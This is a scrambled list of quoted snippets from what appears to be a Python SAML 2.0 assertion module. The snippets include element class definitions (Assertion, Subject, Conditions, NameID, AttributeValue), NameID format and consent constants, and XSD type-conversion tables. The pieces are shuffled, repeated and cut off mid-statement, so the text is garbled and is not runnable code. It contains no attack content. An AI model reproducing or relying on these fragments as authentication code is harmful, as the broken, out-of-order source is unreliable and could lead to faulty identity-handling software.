AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string,", "message has been initiated CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent has", "c_tag = 'AuthenticatingAuthority' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'}", "'integer', float: 'float', bool: 'boolean', type(None): '', } # entries", "condition or [] self.audience_restriction = audience_restriction or [] self.one_time_use =", "get_type(self): try: return self.extension_attributes[XSI_TYPE] except (KeyError, AttributeError): try: return self._extatt[XSI_TYPE]", "= 'AssertionURIRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children", "SamlBase.c_cardinality.copy() c_attributes['NotBefore'] = ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime',", "def __init__(self, not_before=None, not_on_or_after=None, recipient=None, in_response_to=None, address=None, text=None, extension_elements=None, extension_attributes=None):", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before = not_before self.not_on_or_after = not_on_or_after", "# try: from base64 import encodebytes as b64encode except ImportError:", "Windows domain qualified name, Kerberos principal name, Entity identifier, Persistent", "NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED',", "= \"Permit\" # the specified action is denied DECISION_TYPE_DENY =", "can be predetermined by arbitrary context # the specified action", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string): return", "EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_attribute_from_string(xml_string): return", "= ('not_on_or_after', 'dateTime', False) c_child_order.extend(['condition', 'audience_restriction', 'one_time_use', 'proxy_restriction']) def __init__(self,", "#.................. # ['AuthzDecisionStatement', 'EvidenceType', 'AdviceType', 'Evidence', # 'Assertion', 'AssertionType', 'AuthzDecisionStatementType',", "{ 'BaseID': BaseID, 'NameID': NameID, 'NameIDType': NameIDType_, 'EncryptedElementType': EncryptedElementType_, 'EncryptedID':", "('signature', ds.Signature) c_cardinality['signature'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] =", "type # - a function to turn that type into", "clear type #self.clear_type() self.set_text(text) # if we have added a", "was later updated with errata, and the new version is", "c_attributes['SessionNotOnOrAfter'] = ('session_not_on_or_after', 'dateTime', False) c_child_order.extend(['subject_locality', 'authn_context']) def __init__(self, subject_locality=None,", "DecisionType_, 'Action': Action, 'ActionType': ActionType_, 'Evidence': Evidence, 'EvidenceType': EvidenceType_, 'AttributeStatement':", "NAMEID_FORMATS_SAML2 = ( ('NAMEID_FORMAT_EMAILADDRESS', NAMEID_FORMAT_EMAILADDRESS), ('NAMEID_FORMAT_ENCRYPTED', NAMEID_FORMAT_ENCRYPTED), ('NAMEID_FORMAT_ENTITY', NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT',", "class SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\" c_tag = 'SubjectLocalityType' c_namespace", "attribute=None, encrypted_attribute=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectLocality']", "'anyURI'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:]", "extension_attributes=extension_attributes) self.key_info = key_info or [] def key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_,", "BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID, xml_string) class NameID(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameID", "Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\" c_tag = 'Condition' c_namespace =", "self.count = count def proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class EncryptedAssertion(EncryptedElementType_):", "= count def proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string) class EncryptedAssertion(EncryptedElementType_): \"\"\"The", "c_cardinality['advice'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Statement'] = ( 'statement',", "= 'AttributeStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes =", "has been obtained implicitly CONSENT_IMPLICIT = \"urn:oasis:names:tc:SAML:2.0:consent:current-implicit\" # consent has", "self._convert_element_tree_to_member(child) for attribute, value in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value) # if", "\"Cannot have both <AuthnContextDecl> and <AuthnContextDeclRef>\" ) return SamlBase.verify(self) def", "= AdviceType_.c_cardinality.copy() def advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice, xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion']", "float, 'to_type': float, 'to_text': _str, }, 'double': { 'type': float,", "AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag: audience_from_string, OneTimeUse.c_tag: one_time_use_from_string, OneTimeUseType_.c_tag: one_time_use_type__from_string,", "__init__(self, text=None, extension_elements=None, extension_attributes=None): self._extatt = {} SamlBase.__init__(self, text=None, extension_elements=extension_elements,", "action_type__from_string, Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string, AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string, Attribute.c_tag:", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\" c_tag = 'AuthenticatingAuthority' c_namespace = NAMESPACE", "= version self.id = id self.issue_instant = issue_instant def verify(self):", "here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try: from base64 import encodebytes as", "c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class Condition(ConditionAbstractType_):", "proxy_restriction_from_string, ProxyRestrictionType_.c_tag: proxy_restriction_type__from_string, Advice.c_tag: advice_from_string, AdviceType_.c_tag: advice_type__from_string, EncryptedAssertion.c_tag: encrypted_assertion_from_string, Statement.c_tag:", "saml2.create_class_from_xml_string(ProxyRestriction, xml_string) class Statement(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Statement element \"\"\" c_tag =", "self.key_info = key_info or [] def key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string)", "saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\" c_tag =", "condition=None, audience_restriction=None, one_time_use=None, proxy_restriction=None, not_before=None, not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "subject given private/public key SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the 3rd", "format self.sp_provided_id = sp_provided_id def name_id_type__from_string(xml_string): return saml2.create_class_from_xml_string(NameIDType_, xml_string) class", "xml_string) class AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\" c_tag = 'AttributeValue'", "from a kerberos instance NAMEID_FORMAT_KERBEROS = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:kerberos\") # subject", "= EncryptedElementType_.c_attributes.copy() c_child_order = EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string):", "extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.address = address self.dns_name", "return SubjectLocalityType_.verify(self) def subject_locality_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectLocality, xml_string) class AuthnContextType_(SamlBase): \"\"\"The", "c_namespace = NAMESPACE c_children = AudienceRestrictionType_.c_children.copy() c_attributes = AudienceRestrictionType_.c_attributes.copy() c_child_order", "True) c_attributes['ID'] = ('id', 'ID', True) c_attributes['IssueInstant'] = ('issue_instant', 'dateTime',", "node # we consider whitespace insignificant # and remove/trim/strip whitespace", "c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_child_order.extend(['condition', 'audience_restriction', 'one_time_use', 'proxy_restriction']) def", "have extension attributes\" ) if self.extension_attributes[XSI_NIL] != \"true\": raise Exception(", "lambda x: { 'true': True, 'false': False, }[_str(x).lower()], 'to_text': lambda", "('dns_name', 'string', False) def __init__(self, address=None, dns_name=None, text=None, extension_elements=None, extension_attributes=None):", "urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element \"\"\" c_tag = 'DecisionType' c_namespace = NAMESPACE c_value_type", "subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag:", "been given and under # what conditions # no claim", "{\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}NameID'] = ('name_id', NameID) c_cardinality['name_id'] =", "'string', True) c_attributes['ID'] = ('id', 'ID', True) c_attributes['IssueInstant'] = ('issue_instant',", "c_namespace = NAMESPACE c_children = AttributeType_.c_children.copy() c_attributes = AttributeType_.c_attributes.copy() c_child_order", "= NAMESPACE c_children = ProxyRestrictionType_.c_children.copy() c_attributes = ProxyRestrictionType_.c_attributes.copy() c_child_order =", "# https://wiki.oasis-open.org/security/FrontPage # # saml core specifications to be found", "= ( ['', type(None)] if xsd_string is None else ['',", "base64encode=False): def _wrong_type_value(xsd, value): msg = 'Type and value do", "\"\"\" c_tag = 'AssertionType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\" c_tag = 'AuthnContextDeclRef' c_namespace = NAMESPACE", "self.recipient = recipient self.in_response_to = in_response_to self.address = address def", "the 3rd party is identified by subject confirmation and must", "{'base': 'anyType'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order =", "'boolean', type(None): '', } # entries of xsd-types each declaring:", "urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\" c_tag = 'EncryptedID' c_namespace = NAMESPACE c_children", "MustValueError( \"An assertion with an AuthnStatement must contain a Subject\")", "x: b64encode(x.encode()) if base64encode else x ), }, 'anyType': {", "= ('key_info', [ds.KeyInfo]) c_cardinality['key_info'] = {\"min\": 1} c_child_order.extend(['key_info']) def __init__(self,", "custom subject NAMEID_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") # subject as email", "lambda x: x, }, '': { 'type': type(None), 'to_type': lambda", "ShouldValueError from saml2.validate import valid_domain_name import saml2 from saml2 import", "base_id self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation_data = subject_confirmation_data", "or [] def subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_, xml_string) class Conditions(ConditionsType_): \"\"\"The", "issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer, xml_string) class AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\"", "= ( 'authn_statement', [AuthnStatement]) c_cardinality['authn_statement'] = {\"min\": 0} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthzDecisionStatement']", "ActionType_.c_tag: action_type__from_string, Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string, AttributeStatement.c_tag: attribute_statement_from_string, AttributeStatementType_.c_tag: attribute_statement_type__from_string,", "= ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience'] = ('audience', [Audience]) c_cardinality['audience'] = {\"min\": 0}", "b64encode(x.encode()) if base64encode else x ), }, 'anyType': { 'type':", "c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] = ( 'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = ( 'authn_context_decl',", "ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag: condition_from_string, AudienceRestriction.c_tag: audience_restriction_from_string, AudienceRestrictionType_.c_tag: audience_restriction_type__from_string, Audience.c_tag: audience_from_string,", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref = authn_context_class_ref self.authn_context_decl = authn_context_decl self.authn_context_decl_ref", "c_attributes['NameQualifier'] = ('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False)", "self.subject_confirmation = subject_confirmation or [] def subject_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectType_, xml_string)", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.encrypted_data = encrypted_data self.encrypted_key = encrypted_key or []", "Exception(\"Cannot be used more than once\") return SamlBase.verify(self) def conditions_type__from_string(xml_string):", "subject_confirmation_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmation, xml_string) class ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\"", "advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice, xml_string) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion',", "0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] = ( 'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data']", "def __init__(self, attribute_value=None, name=None, name_format=NAME_FORMAT_URI, friendly_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "with login credentials, over tls/https AUTHN_PASSWORD_PROTECTED = \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" #", "None, 'to_text': lambda x: '', }, } xsd_string = (", "the nil marker if text or self.extension_elements: if XSI_NIL in", "= XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE if typ.startswith('xsd:'): try:", "one_time_use=None, proxy_restriction=None, not_before=None, not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "= authn_statement or [] self.authz_decision_statement = authz_decision_statement or [] self.attribute_statement", "'AttributeStatementType': AttributeStatementType_, 'Attribute': Attribute, 'AttributeType': AttributeType_, 'AttributeValue': AttributeValue, 'EncryptedAttribute': EncryptedAttribute,", "c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = ( 'encrypted_data', xenc.EncryptedData) c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedKey'] =", "= AuthnStatementType_.c_attributes.copy() c_child_order = AuthnStatementType_.c_child_order[:] c_cardinality = AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string):", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\" c_tag = 'OneTimeUseType' c_namespace = NAMESPACE", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class Audience(SamlBase): \"\"\"The", "if tree.text and self.extension_elements else tree.text ) if text: #print(\"set_text:\",", "try: self.extension_attributes['xmlns:xsd'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE def", "friendly_name=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute_value =", "saml2.create_class_from_xml_string(AssertionIDRef, xml_string) class AssertionURIRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionURIRef element \"\"\" c_tag =", "= 'AttributeStatement' c_namespace = NAMESPACE c_children = AttributeStatementType_.c_children.copy() c_attributes =", "Subject, 'SubjectType': SubjectType_, 'SubjectConfirmation': SubjectConfirmation, 'SubjectConfirmationType': SubjectConfirmationType_, 'SubjectConfirmationData': SubjectConfirmationData, 'SubjectConfirmationDataType':", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience,", "def attribute_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element", "= OneTimeUseType_.c_cardinality.copy() def one_time_use_from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUse, xml_string) class ProxyRestriction(ProxyRestrictionType_): \"\"\"The", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef'] =", "ELEMENT_FROM_STRING = { BaseID.c_tag: base_id_from_string, NameID.c_tag: name_id_from_string, NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag:", "AttributeError: self._extatt['xmlns:xsd'] = XS_NAMESPACE def get_type(self): try: return self.extension_attributes[XSI_TYPE] except", "urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\" c_tag = 'Attribute' c_namespace = NAMESPACE c_children", "= SamlBase.c_cardinality.copy() c_attributes['Namespace'] = ('namespace', 'anyURI', True) def __init__(self, namespace=None,", "[AttributeStatement]) c_cardinality['attribute_statement'] = {\"min\": 0} c_attributes['Version'] = ('version', 'string', True)", "{\"min\": 1} c_child_order.extend(['audience']) def __init__(self, audience=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__(", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\" c_tag = 'Condition' c_namespace = NAMESPACE", "= ( 'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref',", "saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element \"\"\" c_tag =", "\"max\": 1} c_attributes['Method'] = ('method', 'anyURI', True) c_child_order.extend(['base_id', 'name_id', 'encrypted_id',", "'AttributeType': AttributeType_, 'AttributeValue': AttributeValue, 'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_,", "SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string, KeyInfoConfirmationDataType_.c_tag: key_info_confirmation_data_type__from_string, Conditions.c_tag: conditions_from_string, ConditionsType_.c_tag: conditions_type__from_string, Condition.c_tag: condition_from_string,", "def subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:KeyInfoConfirmationDataType element", "= ProxyRestrictionType_.c_attributes.copy() c_child_order = ProxyRestrictionType_.c_child_order[:] c_cardinality = ProxyRestrictionType_.c_cardinality.copy() def proxy_restriction_from_string(xml_string):", "sp_provided_id=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier =", "= {'base': 'anyURI'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order", "issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string, AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag:", "have actual text content text = ( tree.text.strip() if tree.text", "a function to turn a string into that type #", "in encrypted format NAMEID_FORMAT_ENCRYPTED = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:encrypted\") # dicc for", "return saml2.create_class_from_xml_string(DecisionType_, xml_string) class ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\" c_tag", "def authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action element", "def encrypted_attribute_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element", "= 'Conditions' c_namespace = NAMESPACE c_children = ConditionsType_.c_children.copy() c_attributes =", "not_on_or_after def verify(self): if self.one_time_use: if len(self.one_time_use) != 1: raise", "'evidence', Evidence) c_cardinality['evidence'] = {\"min\": 0, \"max\": 1} c_attributes['Resource'] =", "EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_id_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedID, xml_string) class", "EncryptedID, 'Issuer': Issuer, 'AssertionIDRef': AssertionIDRef, 'AssertionURIRef': AssertionURIRef, 'Assertion': Assertion, 'AssertionType':", "header # signing its content. SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a", "def subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject, xml_string) #.................. # ['AuthzDecisionStatement', 'EvidenceType', 'AdviceType',", "ProxyRestrictionType_.c_children.copy() c_attributes = ProxyRestrictionType_.c_attributes.copy() c_child_order = ProxyRestrictionType_.c_child_order[:] c_cardinality = ProxyRestrictionType_.c_cardinality.copy()", "c_attributes['Namespace'] = ('namespace', 'anyURI', True) def __init__(self, namespace=None, text=None, extension_elements=None,", "__init__(self, key_info=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key_info", "'anyURI', False) c_attributes['InResponseTo'] = ('in_response_to', 'NCName', False) c_attributes['Address'] = ('address',", "= condition or [] self.audience_restriction = audience_restriction or [] self.one_time_use", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id = base_id self.name_id = name_id self.encrypted_id", "class Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\" c_tag = 'Audience' c_namespace", "SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string, SubjectConfirmationData.c_tag: subject_confirmation_data_from_string, SubjectConfirmationDataType_.c_tag: subject_confirmation_data_type__from_string,", "element \"\"\" c_tag = 'ActionType' c_namespace = NAMESPACE c_value_type =", "1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = ( 'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority'] = {\"min\":", "'true'} elif XSI_TYPE in self.extension_attributes: del self.extension_attributes[XSI_TYPE] def __setattr__(self, key,", "NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID, xml_string) class", "tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree) def attribute_type__from_string(xml_string): return saml2.create_class_from_xml_string(AttributeType_, xml_string)", "{'base': 'anyURI'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order =", "element \"\"\" c_tag = 'Condition' c_namespace = NAMESPACE c_children =", "AuthnRequest is made to initiate authentication # authenticate the request", "= ( 'attribute_value', [AttributeValue]) c_cardinality['attribute_value'] = {\"min\": 0} c_attributes['Name'] =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\" c_tag = 'AudienceRestriction' c_namespace = NAMESPACE", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\" c_tag = 'Attribute' c_namespace = NAMESPACE", "base_id_from_string, NameID.c_tag: name_id_from_string, NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string, EncryptedID.c_tag: encrypted_id_from_string, Issuer.c_tag:", "CONSENT_INAPPLICABLE = \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject confirmation methods(scm), can be issued,", "self.extension_attributes: del self.extension_attributes[XSI_TYPE] def __setattr__(self, key, value): if key ==", "'authn_statement', 'authz_decision_statement', 'attribute_statement']) def __init__(self, issuer=None, signature=None, subject=None, conditions=None, advice=None,", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before = not_before", "{ 'type': bool, 'to_type': lambda x: { 'true': True, 'false':", "0} c_child_order.extend(['attribute', 'encrypted_attribute']) def __init__(self, attribute=None, encrypted_attribute=None, text=None, extension_elements=None, extension_attributes=None):", "c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string): return saml2.create_class_from_xml_string(OneTimeUseType_,", "= NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def issuer_from_string(xml_string): return saml2.create_class_from_xml_string(Issuer, xml_string)", "statement MUST contain a subject element if self.attribute_statement or self.statement", "please query the following pdf. # http://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf # The specification", "c_tag = 'EncryptedAssertion' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element \"\"\" c_tag = 'ConditionAbstractType' c_namespace = NAMESPACE", "'AuthenticatingAuthority': AuthenticatingAuthority, 'AuthzDecisionStatement': AuthzDecisionStatement, 'AuthzDecisionStatementType': AuthzDecisionStatementType_, 'DecisionType': DecisionType_, 'Action': Action,", "{\"min\": 0} c_attributes['Count'] = ('count', 'nonNegativeInteger', False) c_child_order.extend(['audience']) def __init__(self,", "ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience = audience or []", "tree.text) # clear type #self.clear_type() self.set_text(text) # if we have", "or [] self.audience_restriction = audience_restriction or [] self.one_time_use = one_time_use", "c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class AuthenticatingAuthority(SamlBase):", "return saml2.create_class_from_xml_string(SubjectLocalityType_, xml_string) class AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\" c_tag", "with login credentials AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate the request", "consent has been obtained CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no consent", "NAMESPACE c_value_type = {'base': 'string'} c_children = SamlBase.c_children.copy() c_attributes =", "\"\"\" c_tag = 'EncryptedID' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy()", "= msg.format(xsd=xsd, type=type(value), value=value) raise ValueError(msg) # only work with", "value=value) if type(value) is not valid_type: _wrong_type_value(xsd=xsd_type, value=value) text =", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.address = address self.dns_name = dns_name", "from saml2.validate import valid_ipv4, MustValueError from saml2.validate import valid_ipv6 from", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeValue,", "c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeValue'] = ( 'attribute_value', [AttributeValue]) c_cardinality['attribute_value'] =", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = ( 'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction'] =", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id',", "# saml core specifications to be found at: # if", "extension_elements=extension_elements, 